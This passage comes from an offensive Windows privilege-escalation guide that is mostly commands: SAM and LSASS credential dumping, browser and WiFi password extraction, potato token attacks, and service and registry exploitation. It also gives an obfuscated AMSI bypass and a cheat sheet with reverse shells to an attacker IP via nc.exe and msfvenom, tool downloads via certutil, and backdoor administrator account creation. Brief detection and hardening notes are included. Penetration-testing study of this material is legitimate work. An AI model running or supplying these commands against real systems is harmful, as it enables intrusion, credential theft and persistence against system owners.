    Where-Object { (Get-Content $_) -match "SecureString|PSCredential" }

# Decrypt SecureString (only works for same user)
$credential = Import-Clixml -Path "C:\scripts\cred.xml"
$credential.GetNetworkCredential().Password
$credential.GetNetworkCredential().UserName

4.4 SAM and SYSTEM Registry Hives

4.4.1 Checking for Backup Files

:: Common backup locations
dir C:\Windows\Repair\SAM
dir C:\Windows\Repair\SYSTEM
dir C:\Windows\System32\config\RegBack\SAM
dir C:\Windows\System32\config\RegBack\SYSTEM

4.4.2 Volume Shadow Copy Extraction

# List shadow copies
vssadmin list shadows

# Access shadow copy
cmd /c "mklink /d C:\ShadowCopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\"

# Copy from shadow
copy C:\ShadowCopy\Windows\System32\config\SAM C:\temp\SAM
copy C:\ShadowCopy\Windows\System32\config\SYSTEM C:\temp\SYSTEM

4.4.3 Registry Save Method (Requires Admin)

:: Save registry hives
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SECURITY C:\temp\SECURITY

4.4.4 Hash Extraction

# Using impacket-secretsdump (on attacker machine)
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

# Using pypykatz
pypykatz registry --sam SAM --system SYSTEM

4.5 Browser Credential Extraction

4.5.1 Chrome Credentials

# Chrome login data location
$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"

# Check for custom dictionary (may contain passwords)
Get-Content "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Custom Dictionary.txt" | 
    Select-String -Pattern "password|pass"

Using SharpChrome:

.\SharpChrome.exe logins /unprotect
.\SharpChrome.exe cookies /unprotect

4.5.2 Firefox Credentials

# Firefox profile location
$firefoxProfiles = "$env:APPDATA\Mozilla\Firefox\Profiles"
Get-ChildItem $firefoxProfiles

# Key files
# logins.json - Encrypted login data
# key4.db - Encryption key database

4.5.3 LaZagne All-in-One

:: Run all credential recovery modules
.\lazagne.exe all

:: Specific browser
.\lazagne.exe browsers -chrome

:: Save output
.\lazagne.exe all > credentials.txt

4.6 WiFi Credentials

:: List saved WiFi profiles
netsh wlan show profiles

:: Show password for specific profile
netsh wlan show profile name="NetworkName" key=clear

# Extract all WiFi passwords
(netsh wlan show profiles) | Select-String "All User Profile" | ForEach-Object {
    $profile = ($_ -split ":")[1].Trim()
    $password = (netsh wlan show profile name="$profile" key=clear) | Select-String "Key Content"
    if ($password) {
        Write-Host "$profile : $(($password -split ':')[1].Trim())"
    }
}

4.7 SessionGopher for Remote Access Tools

# Import and run SessionGopher
Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Thorough

# Target specific computer
Invoke-SessionGopher -Target COMPUTERNAME

# Supported tools:
# - PuTTY
# - WinSCP
# - FileZilla
# - SuperPuTTY
# - RDP

V. Kernel & OS Vulnerabilities

5.1 Kernel Exploitation in 2025

5.1.1 Risk vs Reward Analysis

Kernel Exploitation Considerations:

When to Use Kernel Exploits:

• All other vectors exhausted
• System is known vulnerable and stable exploit exists
• Test environment or explicit client authorization
• Virtual machine snapshots available

5.1.2 Vulnerability Research and Exploit Selection

Step 1: Gather System Information

systeminfo > systeminfo.txt

Step 2: Use Windows Exploit Suggester

# Update database
python windows-exploit-suggester.py --update

# Run analysis
python windows-exploit-suggester.py --database 2025-01-01-mssb.xls --systeminfo systeminfo.txt

Step 3: Use Watson (On-Target)

.\Watson.exe

5.1.3 Notable Windows Vulnerabilities (2019-2025)

Legacy/High Detection (Educational):

Modern Vulnerabilities (Check patch status):

5.1.4 Safe Exploitation Practices

# Pre-exploitation checks
# 1. Verify exact Windows version
[System.Environment]::OSVersion.Version
(Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").CurrentBuild

# 2. Check if patch is installed
Get-HotFix | Where-Object {$_.HotFixID -eq "KBXXXXXXX"}

# 3. Verify system stability
Get-WmiObject Win32_OperatingSystem | Select-Object LastBootUpTime

# 4. Take note of current state
whoami /all > pre_exploit_state.txt

Compilation Environment:

• Use Visual Studio 2019/2022 matching target architecture
• Test exploits in isolated VMs first
• Keep original exploit source for reference
• Document any modifications made

VI. Token Manipulation & Potato Attacks

6.1 Theory of Impersonation Privileges

6.1.1 Understanding Token Impersonation

Windows process tokens contain account security information. When a user authenticates, Windows creates a primary token containing:

• User SID
• Group SIDs
• Privileges
• Integrity level

Impersonation allows a thread to assume the security context of another user’s token, commonly used by services handling client requests.

6.1.2 Key Privileges for Impersonation

Verification:

whoami /priv | findstr "Impersonate\|AssignPrimaryToken"

6.1.3 Where These Privileges Appear

• IIS Application Pools: Web shells often have SeImpersonate
• MSSQL with xp_cmdshell: SQL service accounts
• Scheduled tasks: Tasks running as service accounts
• Windows services: Custom service accounts
• Jenkins/CI systems: Build agents

6.2 Evolution of Potato Attacks

6.2.1 Attack Family Timeline

6.2.2 JuicyPotato (Legacy/Pre-Windows 10 1809)

Status: ❌ Blocked on Windows 10 1809+, Server 2019+

Usage (Legacy Systems):

:: Basic usage
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}

:: With reverse shell
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\temp\nc.exe 10.10.14.5 443 -e cmd.exe" -t *

:: Common CLSIDs
:: BITS: {4991d34b-80a1-4291-83b6-3328366b9097}
:: WMI: {F3A614DC-ABE0-11d2-A441-00C04F795683}

6.2.3 PrintSpoofer (Modern Windows)

Status: ✅ Works on Windows 10/11, Server 2019/2022/2025

Requirements: SeImpersonatePrivilege enabled

:: Interactive SYSTEM shell
PrintSpoofer.exe -i -c cmd

:: Execute specific command
PrintSpoofer.exe -c "net user backdoor Password123! /add"

:: Reverse shell
PrintSpoofer.exe -c "c:\temp\nc.exe 10.10.14.5 443 -e cmd.exe"

6.2.4 GodPotato (Most Reliable 2023+)

Status: ✅ Works on all modern Windows versions

:: Basic SYSTEM shell
GodPotato.exe -cmd "cmd /c whoami"

:: Add user
GodPotato.exe -cmd "net user backdoor Password123! /add"
GodPotato.exe -cmd "net localgroup administrators backdoor /add"

:: Reverse shell
GodPotato.exe -cmd "c:\temp\nc.exe 10.10.14.5 443 -e cmd.exe"

6.2.5 RoguePotato

Status: ✅ Works on Windows Server 2019+

Requires: Remote OXID resolver (attacker-controlled)

Setup (Attacker Machine):

# Start OXID resolver
socat tcp-listen:135,reuseaddr,fork tcp:TARGET_IP:9999

Execution (Target):

RoguePotato.exe -r ATTACKER_IP -e "cmd.exe /c whoami > c:\temp\result.txt" -l 9999

6.2.6 EfsPotato

Status: ✅ Works by abusing Encrypting File System (EFS)

EfsPotato.exe "whoami"
EfsPotato.exe "net user backdoor Password123! /add"

6.2.7 LocalPotato (NTLM Local Relay)

Status: ✅ Unique approach using local NTLM relay

# Requires specific scenario - local SMB auth
LocalPotato.exe -i c:\temp\payload.exe

6.2.8 SweetPotato (Combined Approach)

Status: ✅ Combines multiple potato techniques

SweetPotato.exe -p c:\windows\system32\cmd.exe -a "/c whoami > c:\temp\result.txt"

6.3 Practical Potato Attack Workflow

6.3.1 MSSQL to SYSTEM Example

# Step 1: Connect to MSSQL
impacket-mssqlclient sql_dev@10.129.43.30 -windows-auth

# Step 2: Enable xp_cmdshell
SQL> enable_xp_cmdshell

# Step 3: Verify privileges
SQL> xp_cmdshell whoami /priv

# Step 4: Upload tool
SQL> xp_cmdshell certutil -urlcache -f http://10.10.14.5/GodPotato.exe c:\temp\GodPotato.exe

# Step 5: Execute
SQL> xp_cmdshell c:\temp\GodPotato.exe -cmd "cmd /c net localgroup administrators sql_dev /add"

6.3.2 IIS Web Shell to SYSTEM

# From web shell, check privileges
whoami /priv

# If SeImpersonatePrivilege present, upload and execute
Invoke-WebRequest -Uri "http://10.10.14.5/PrintSpoofer.exe" -OutFile "C:\Windows\Temp\ps.exe"
C:\Windows\Temp\ps.exe -c "C:\Windows\Temp\nc.exe 10.10.14.5 443 -e cmd.exe"

VII. Defense & OPSEC

7.1 Blue Team Perspective: Detection Points

7.1.1 Critical Event IDs

7.1.2 Sysmon Events for Detection

7.1.3 Common Detection Signatures

Service Binary Path Modification:

Event 4657 (Registry modification) on:
HKLM\SYSTEM\CurrentControlSet\Services\*\ImagePath

Suspicious Process Relationships:

cmd.exe → net.exe (adding users)
services.exe → cmd.exe (service exploitation)
w3wp.exe → cmd.exe/powershell.exe (web shell)
sqlservr.exe → cmd.exe (xp_cmdshell)

LSASS Access:

Sysmon Event 10 with TargetImage: lsass.exe
Access mask: 0x1010 (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)

7.2 OPSEC Considerations for Red Team

7.2.1 Tool OPSEC Ratings

7.2.2 Evasion Techniques

AMSI Bypass (2025 Working Methods):

# Memory patching (basic)
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null,$mem)

# Reflection-based
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

ETW Bypass:

# Patch ETW
$logProvider = [Ref].Assembly.GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance')
# Requires process handle manipulation

Parent PID Spoofing:

• Use tools that support PPID spoofing
• Makes malicious processes appear to have legitimate parents

7.2.3 Operational Recommendations

1. Time your activities: Execute during business hours to blend with legitimate activity
2. Use existing channels: Leverage already-established connections
3. Minimal footprint: Avoid writing to disk when possible
4. Clean up: Remove tools and artifacts after use
5. Log awareness: Know what you’re triggering and document for reporting
6. Test detection: Use isolated systems to verify tool detectability

VIII. The Ultimate Cheat Sheet

8.1 Initial Enumeration Commands

System Information

:: Basic info
systeminfo
hostname
whoami /all

:: Architecture
echo %PROCESSOR_ARCHITECTURE%
wmic os get osarchitecture

:: Patches
wmic qfe list brief

Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 10

User/Group Enumeration

:: Current user
whoami /priv
whoami /groups
net user %USERNAME%

:: All users
net user
net localgroup
net localgroup Administrators
net accounts

Get-LocalUser | Select-Object Name, Enabled, Description
Get-LocalGroupMember -Group "Administrators"

Network Enumeration

ipconfig /all
arp -a
route print
netstat -ano
netstat -ano | findstr LISTENING

Process/Service Enumeration

tasklist /svc
sc query
wmic service get name,pathname,startmode | findstr /i "auto"

8.2 Service Exploitation Commands

Unquoted Service Paths

:: Detection
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

:: Exploitation (place binary in hijackable path)
copy payload.exe "C:\Program Files\Vulnerable.exe"
sc stop VulnerableService
sc start VulnerableService

Weak Service Permissions

:: Detection
accesschk.exe /accepteula -uwcqv "Users" *
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

:: Exploitation
sc config VulnerableService binpath= "cmd /c net localgroup administrators YOUR_USER /add"
sc stop VulnerableService
sc start VulnerableService

Weak Binary Permissions

:: Detection
icacls "C:\Path\To\service.exe"
accesschk.exe /accepteula -quvw "C:\Path\To\service.exe"

:: Exploitation
copy /Y payload.exe "C:\Path\To\service.exe"
sc stop VulnerableService
sc start VulnerableService

8.3 Registry Exploitation

AlwaysInstallElevated

:: Detection
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

:: Exploitation
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi

8.4 Credential Harvesting

File Searches

:: Password in files
findstr /si password *.txt *.xml *.ini *.config
findstr /spin "password" *.*

:: Specific files
dir /s /b unattend.xml sysprep.xml web.config
where /R C:\ *.config

Windows Credentials

:: Credential Manager
cmdkey /list

:: WiFi
netsh wlan show profiles
netsh wlan show profile name="ProfileName" key=clear

:: Registry autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

PowerShell History

Get-Content (Get-PSReadLineOption).HistorySavePath

SAM/SYSTEM Extraction

:: If admin
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM

8.5 Privilege Abuse

SeImpersonatePrivilege

:: PrintSpoofer
PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -c "nc.exe 10.10.14.5 443 -e cmd.exe"

:: GodPotato
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "net localgroup administrators YOUR_USER /add"

SeBackupPrivilege

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

SeDebugPrivilege

:: LSASS dump
procdump.exe -accepteula -ma lsass.exe lsass.dmp

:: Mimikatz
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"

SeTakeOwnershipPrivilege

takeown /f "C:\Path\To\Protected\File"
icacls "C:\Path\To\Protected\File" /grant YOUR_USER:F

8.6 Group Privilege Abuse

Backup Operators

# Enable privilege
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege

# Copy protected files
Copy-FileSeBackupPrivilege C:\Windows\System32\config\SAM C:\temp\SAM
Copy-FileSeBackupPrivilege C:\Windows\System32\config\SYSTEM C:\temp\SYSTEM

DnsAdmins

:: Generate DLL
msfvenom -p windows/x64/exec cmd='net group "domain admins" YOUR_USER /add /domain' -f dll -o adduser.dll

:: Load DLL
dnscmd.exe /config /serverlevelplugindll C:\Path\To\adduser.dll

:: Restart DNS
sc stop dns
sc start dns

Server Operators

:: Modify service
sc config AppReadiness binpath= "cmd /c net localgroup Administrators YOUR_USER /add"
sc stop AppReadiness
sc start AppReadiness

Print Operators

:: Load vulnerable driver
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
EnableSeLoadDriverPrivilege.exe
ExploitCapcom.exe

8.7 File Transfer Methods

:: Certutil
certutil -urlcache -f http://10.10.14.5/file.exe C:\temp\file.exe

:: PowerShell
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.14.5/file.exe','C:\temp\file.exe')"
powershell -c "Invoke-WebRequest -Uri 'http://10.10.14.5/file.exe' -OutFile 'C:\temp\file.exe'"

:: Bitsadmin
bitsadmin /transfer job /download /priority high http://10.10.14.5/file.exe C:\temp\file.exe

:: SMB (no HTTP needed)
copy \\10.10.14.5\share\file.exe C:\temp\file.exe

8.8 Common SID Reference

8.9 CMD vs PowerShell Equivalents

IX. 2026 Addendum: Modern Attack Surface

This section adds newer and less common checks that are easy to miss in a traditional service-and-token workflow. Treat version-specific techniques as hypotheses until the exact product version, patch level, permissions, and execution context have been confirmed. Use destructive primitives only in an isolated lab or when the rules of engagement explicitly allow them.

9.1 Logging and Telemetry Awareness

Before running broad enumeration, determine what PowerShell activity and Windows events are being retained or forwarded. These controls do not create an escalation path, but they materially change the detection footprint of one.

PowerShell transcription

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription /s
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription /s

The configured output directory is commonly stored in OutputDirectory. Transcripts may also be placed in a centrally managed share.

Module and script-block logging

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /s
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /s
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging /s
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging /s

Get-WinEvent -LogName 'Windows PowerShell' -MaxEvents 15
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 20

Also check audit policy and Windows Event Forwarding:

auditpol /get /category:*
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

9.2 Update Infrastructure and Privileged Agent IPC

WSUS transport and proxy configuration

Check whether the host is directed to an internal WSUS server and whether the policy actually enables it:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer

Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate' -Name WUServer
Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU' -Name UseWUServer

An HTTP WUServer value is a warning sign, not proof of exploitability. Confirm that UseWUServer is 1, identify the Windows build and WSUS client behavior, and test only in an authorized environment. CVE-2020-1013 is a separate client-side local escalation condition involving user-controlled proxy and certificate trust; do not assume every HTTP WSUS deployment is vulnerable to it.

Review user and machine proxy settings as part of the same check:

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
netsh winhttp show proxy

Third-party updater and localhost IPC checklist

Enterprise agents frequently combine a privileged service, a localhost RPC/HTTP/named-pipe endpoint, and a SYSTEM update channel. For each agent:

1. Record its product and file version.
2. Enumerate loopback listeners and named pipes.
3. Inspect enrollment, proxy, update URL, and trust-store configuration.
4. Determine whether a standard user can redirect enrollment or update traffic.
5. Verify MSI/package signature and certificate-chain validation.
6. Check whether the privileged service accepts user-controlled paths or commands.

Get-NetTCPConnection -State Listen |
  Where-Object { $_.LocalAddress -in '127.0.0.1','::1' } |
  Sort-Object LocalPort

Get-ChildItem \\.\pipe\

The Netskope stAgentSvc chain tracked as CVE-2025-0309 is a useful case study: a localhost management surface and weak update trust can turn a low-privileged foothold into SYSTEM execution. Match the installed product and version to a vendor advisory before attempting validation.

Veeam Backup & Replication CVE-2023-27532

Vulnerable Veeam Backup & Replication builds before 11.0.1.1261 may expose a privileged service on TCP 9401. Confirm both the listener and the installed file version:

netstat -ano | findstr ":9401"

(Get-Item 'C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe').VersionInfo.FileVersion

Do not infer vulnerability from an open port alone. Validate the edition, build, service owner, and vendor patch status.

9.3 Service Triggers and Indirect Starts

A user may be unable to call StartService but still be able to activate a privileged service by satisfying one of its triggers, such as network availability, device arrival, an ETW event, a named pipe/RPC endpoint, domain join, or Group Policy refresh.

sc qtriggerinfo <service-name>
sc qc <service-name>
sc qfailure <service-name>

When a service binary, DLL, or configuration is writable but the service ACL denies SERVICE_START, check:

• whether it starts automatically at boot;
• configured failure actions;
• trigger-start conditions;
• dependent services;
• application actions that activate its COM, RPC, or named-pipe endpoint.

This matters for weak-binary and weak-registry findings: lack of direct restart rights lowers reliability, but it does not necessarily remove the escalation path.

9.4 Secure Desktop ATConfig Registry Write (RegPwn)

CVE-2026-24291, commonly called RegPwn, abused accessibility configuration propagation during a secure-desktop transition. A user-controlled HKCU ATConfig value was copied by a SYSTEM process into a per-session HKLM key. By racing that copy and replacing the destination key with a registry symbolic link, an attacker could redirect the privileged write to another HKLM value.

Relevant locations:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs
HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\<feature>
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session<id>\ATConfig\<feature>

The public technique used an oplock on:

C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml

The resulting primitive could redirect a SYSTEM registry value write toward a service ImagePath or ServiceDll. Microsoft patched the issue in March 2026; test patch state before treating it as a candidate. Locking the workstation is part of the public trigger and is operationally conspicuous.

9.5 Process, GUI, and Memory Checks

Writable process images and search paths

Enumerate non-Microsoft process paths, owners, command lines, and directory ACLs. A writable executable is a direct replacement candidate; a writable parent directory may support DLL or module search-order hijacking.

Get-CimInstance Win32_Process | ForEach-Object {
  $owner = Invoke-CimMethod -InputObject $_ -MethodName GetOwner -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Name = $_.Name
    PID = $_.ProcessId
    Owner = "$($owner.Domain)\$($owner.User)"
    Path = $_.ExecutablePath
    CommandLine = $_.CommandLine
  }
} | Format-Table -AutoSize

Pay special attention to elevated Electron, CEF, Chromium, updater, tray, and service-wrapper processes. Debug ports, remote-debugging flags, extension paths, writable resources, and missing modules can create application-specific escalation paths.

Insecure privileged GUI applications

A GUI process running as SYSTEM or high integrity may expose file-open/save dialogs, help links, browsers, or child-process launch actions. Confirm the process integrity level and whether a reachable UI action can start an arbitrary executable. Modern systems close many historical chains, so reproduce the exact application flow rather than relying on legacy examples.

Process memory and command-line secrets

Look for credentials passed on command lines before considering memory dumps:

Get-CimInstance Win32_Process | Select-Object ProcessId,Name,CommandLine

An authorized administrator can capture a process with Sysinternals ProcDump for offline review:

procdump.exe -accepteula -ma <process-name-or-pid> process.dmp

Memory dumps can contain credentials, tokens, personal data, and encryption keys. Store and dispose of them as sensitive evidence.

9.6 Node.js and Electron Root-Module Hijacking

Node resolves a bare import such as require('foo') by walking parent directories for node_modules. On Windows, an application below C:\ can ultimately probe C:\node_modules. If a low-privileged user can create that directory and a privileged Node/Electron application requests a missing package, attacker-controlled JavaScript may execute in the application’s context.

Example resolution path:

C:\Users\Administrator\project\node_modules\foo
C:\Users\Administrator\node_modules\foo
C:\Users\node_modules\foo
C:\node_modules\foo

Hunt with Procmon using these filters:

• process name is the target Node/Electron executable;
• path contains node_modules;
• result is NAME NOT FOUND;
• a later lookup reaches C:\node_modules.

Review unpacked application sources and ASAR content for bare imports, optional dependencies, and swallowed import failures:

rg -n 'require\("[^./]' .
rg -n "require\('[^./]" .
rg -n 'optionalDependencies' .

Safe validation is to export a distinctive marker from a harmless test module and verify that the target loads it. Do not launch a payload until the target’s integrity level and authorization scope are established.

Hardening:

• deny standard-user creation or modification of C:\node_modules;
• package every runtime dependency, including optional modules that are probed at startup;
• alert on high-integrity processes loading JavaScript from drive-root module folders;
• remove silent try { require(...) } catch {} probes where possible.

9.7 Driver Attack Surface

Missing FILE_DEVICE_SECURE_OPEN

For a named device object, a restrictive DACL may protect \\.\DeviceName while a relative/trailing-name open such as \\.\DeviceName\anything bypasses that device ACL if the driver does not set FILE_DEVICE_SECURE_OPEN or enforce equivalent checks in IRP_MJ_CREATE.

Audit workflow:

1. Enumerate third-party drivers and their device names.
2. Compare direct opens with trailing-component opens as a standard user.
3. Enumerate accepted IOCTLs and required access bits.
4. Inspect whether privileged operations independently validate the caller.
5. Match driver versions and hashes against vendor advisories and Microsoft’s vulnerable-driver blocklist.

Once opened, dangerous IOCTLs may expose process handles, arbitrary termination, raw disk I/O, or kernel read/write. Opening the device is only the access-control finding; exploitability depends on the reachable IOCTL implementation.

Driver developers should set FILE_DEVICE_SECURE_OPEN, reject unexpected trailing names, use restrictive IOCTL access masks, validate the requestor mode and caller identity, and avoid returning privileged handles to untrusted callers.

Registry query type confusion

During driver review, flag RtlQueryRegistryValues calls that combine:

• RTL_REGISTRY_ABSOLUTE with a user-influenced path;
• RTL_QUERY_REGISTRY_DIRECT without RTL_QUERY_REGISTRY_TYPECHECK;
• a small scalar EntryContext reused across reads of different registry types;
• a first read whose attacker-controlled value determines the size or destination of a second read.

REG_QWORD, string, and binary values have different direct-mode expectations. Treat heterogeneous reads into the same stack variable as a strong memory-corruption lead. Windows 8 and later add checks for untrusted hives, so assess writable keys in trusted system hives and reproduce on the exact build.

Race-condition and I/O ring research notes

For authorized kernel research, investigate these patterns:

• a request completed or freed while a cancel-safe queue lock is still held;
• a cancel path that resumes with a stale request pointer;
• a buffer pointer captured under a lock but copied to user mode after the lock is released;
• attacker-controlled, variable-size paged-pool pointer arrays;
• predictable writes that can corrupt a sprayed object’s size field and create an out-of-bounds read.

Useful debugger indicators include NtCancelIoFileEx -> IopCsqCancelRoutine, a success path shaped like Acquire -> Complete/free -> Release, and RtlCopyToUser after lock release. These are research heuristics, not evidence that a particular driver is exploitable.

9.8 Expanded Credential and Secret Locations

UWP PasswordVault / Credential Locker

The current interactive user may be able to decrypt credentials stored for that same session without administrator rights:

[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | ForEach-Object {
  try {
    $_.RetrievePassword()
    $_
  } catch {}
} | Select-Object Resource,UserName,Password

Access is session- and user-scoped. Treat returned values as sensitive evidence and avoid printing them into persistent logs unnecessarily.

DPAPI and PowerShell credentials

Get-ChildItem -Force "$env:APPDATA\Microsoft\Protect"
Get-ChildItem -Force "$env:LOCALAPPDATA\Microsoft\Protect"
Get-ChildItem -Force "$env:APPDATA\Microsoft\Credentials"
Get-ChildItem -Force "$env:LOCALAPPDATA\Microsoft\Credentials"

$credential = Import-Clixml -Path 'C:\path\credential.xml'
$credential.GetNetworkCredential() | Format-List UserName,Domain,Password

An exported PowerShell credential normally decrypts only for the same user on the same computer unless it was protected with an explicit key. DPAPI master-key recovery should be documented separately from decryption of individual credential blobs.

Additional high-value stores

%LOCALAPPDATA%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
%LOCALAPPDATA%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
%APPDATA%\gcloud\credentials.db
%APPDATA%\gcloud\legacy_credentials\
%APPDATA%\gcloud\access_tokens.db
%USERPROFILE%\.aws\credentials
%USERPROFILE%\.azure\accessTokens.json
%USERPROFILE%\.azure\azureProfile.json

Check saved RDP and PuTTY metadata:

reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
reg query "HKCU\Software\SimonTatham\PuTTY\SshHostKeys" /s
reg query "HKCU\Software\OpenSSH\Agent\Keys" /s

OpenSSH agent implementations have changed over time; the absence of HKCU\Software\OpenSSH\Agent\Keys is normal on many current builds. Verify how the installed client stores loaded keys rather than assuming the historical registry technique applies.

IIS AppCmd

If IIS is present and the current token is elevated, AppCmd may reveal application-pool or virtual-directory credentials:

%SystemRoot%\System32\inetsrv\appcmd.exe list apppools /text:name
%SystemRoot%\System32\inetsrv\appcmd.exe list apppool "<pool>" /text:processModel.userName
%SystemRoot%\System32\inetsrv\appcmd.exe list apppool "<pool>" /text:processModel.password
%SystemRoot%\System32\inetsrv\appcmd.exe list vdir /text:vdir.name

Cached Group Policy Preferences

Search local Group Policy history and domain SYSVOL for preference XML containing cpassword:

Get-ChildItem 'C:\ProgramData\Microsoft\Group Policy\History' -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object Name -in 'Groups.xml','Services.xml','ScheduledTasks.xml','DataSources.xml','Printers.xml','Drives.xml' |
  Select-String -Pattern 'cpassword'

The historical GPP AES key is public, so any discovered cpassword must be treated as compromised even if the preference is no longer actively deployed.

9.9 WSL, PATH, and Application-Specific Search Paths

WSL inventory

wsl.exe --status
wsl.exe --list --verbose
wsl.exe --list --online

For each installed distribution, establish the default user and inspect mounted Windows paths. Root inside a WSL distribution is not automatically Windows SYSTEM, but exposed Windows files, credentials, sockets, interop, and permissive mounts can create crossover paths. Do not use legacy launcher commands such as distribution.exe config --default-user root without confirming the installed distribution and engagement scope.

Writable PATH entries

for %A in ("%PATH:;=" "%") do @icacls "%~A" 2>nul

For every writable PATH directory, prove that a privileged process searches it for a missing DLL or executable. A writable directory alone is a lead, not a finding.

Plugin and extension autoload

Portable or copied applications may place plugin directories under user-writable paths. Notepad++, IDEs, browsers, database clients, and monitoring agents are common examples. Identify exact autoload rules, confirm the directory ACL, and establish whether a higher-privileged user or process launches the application.

9.10 Handles, Pipes, and Local IPC

Inherited or leaked handles

A low-privileged child process may inherit a handle to a privileged process, thread, token, file, or registry key if the parent marked it inheritable and created the child with handle inheritance enabled. Enumerate handle type and granted access; a handle is useful only if its access mask supports a meaningful operation.

High-risk examples include:

• process handles with VM write, thread creation, or duplication rights;
• token handles with duplicate, assign-primary, or impersonate rights;
• writable handles to protected files or registry keys;
• section handles mapping sensitive shared memory.

Named-pipe client impersonation

If the current token holds SeImpersonatePrivilege, a controllable pipe server may impersonate a privileged client after that client connects and writes. The hard part is coercing the privileged client to an attacker-chosen pipe and obtaining an impersonation level that permits token duplication.

whoami /priv
pipelist.exe /accepteula

Use PipeViewer or equivalent tooling to map owners, permissions, server processes, and client behavior. A visible pipe name alone is not an escalation path.

Telephony tapsrv research

The Telephony service’s \\pipe\\tapsrv MS-TRP interface has been used in research chains where an authenticated client converted asynchronous event handling into a controlled DWORD write to an existing path writable by NETWORK SERVICE, modified Telephony administration state, and then loaded a provider UI DLL. Treat this as a version-specific protocol-research lead: verify the affected build and reproduce in a snapshot before testing any production host.

9.11 File-System Redirection and Windows Installer Rollback

Windows local escalation research frequently turns a limited privileged file primitive into a stronger one by combining:

• NTFS junctions or mount points;
• Object Manager symbolic links, often through \RPC Control;
• opportunistic locks to pause a privileged operation;
• Windows Installer rollback files in C:\Config.Msi;
• an attacker-retained handle whose granted access survives later ACL changes.

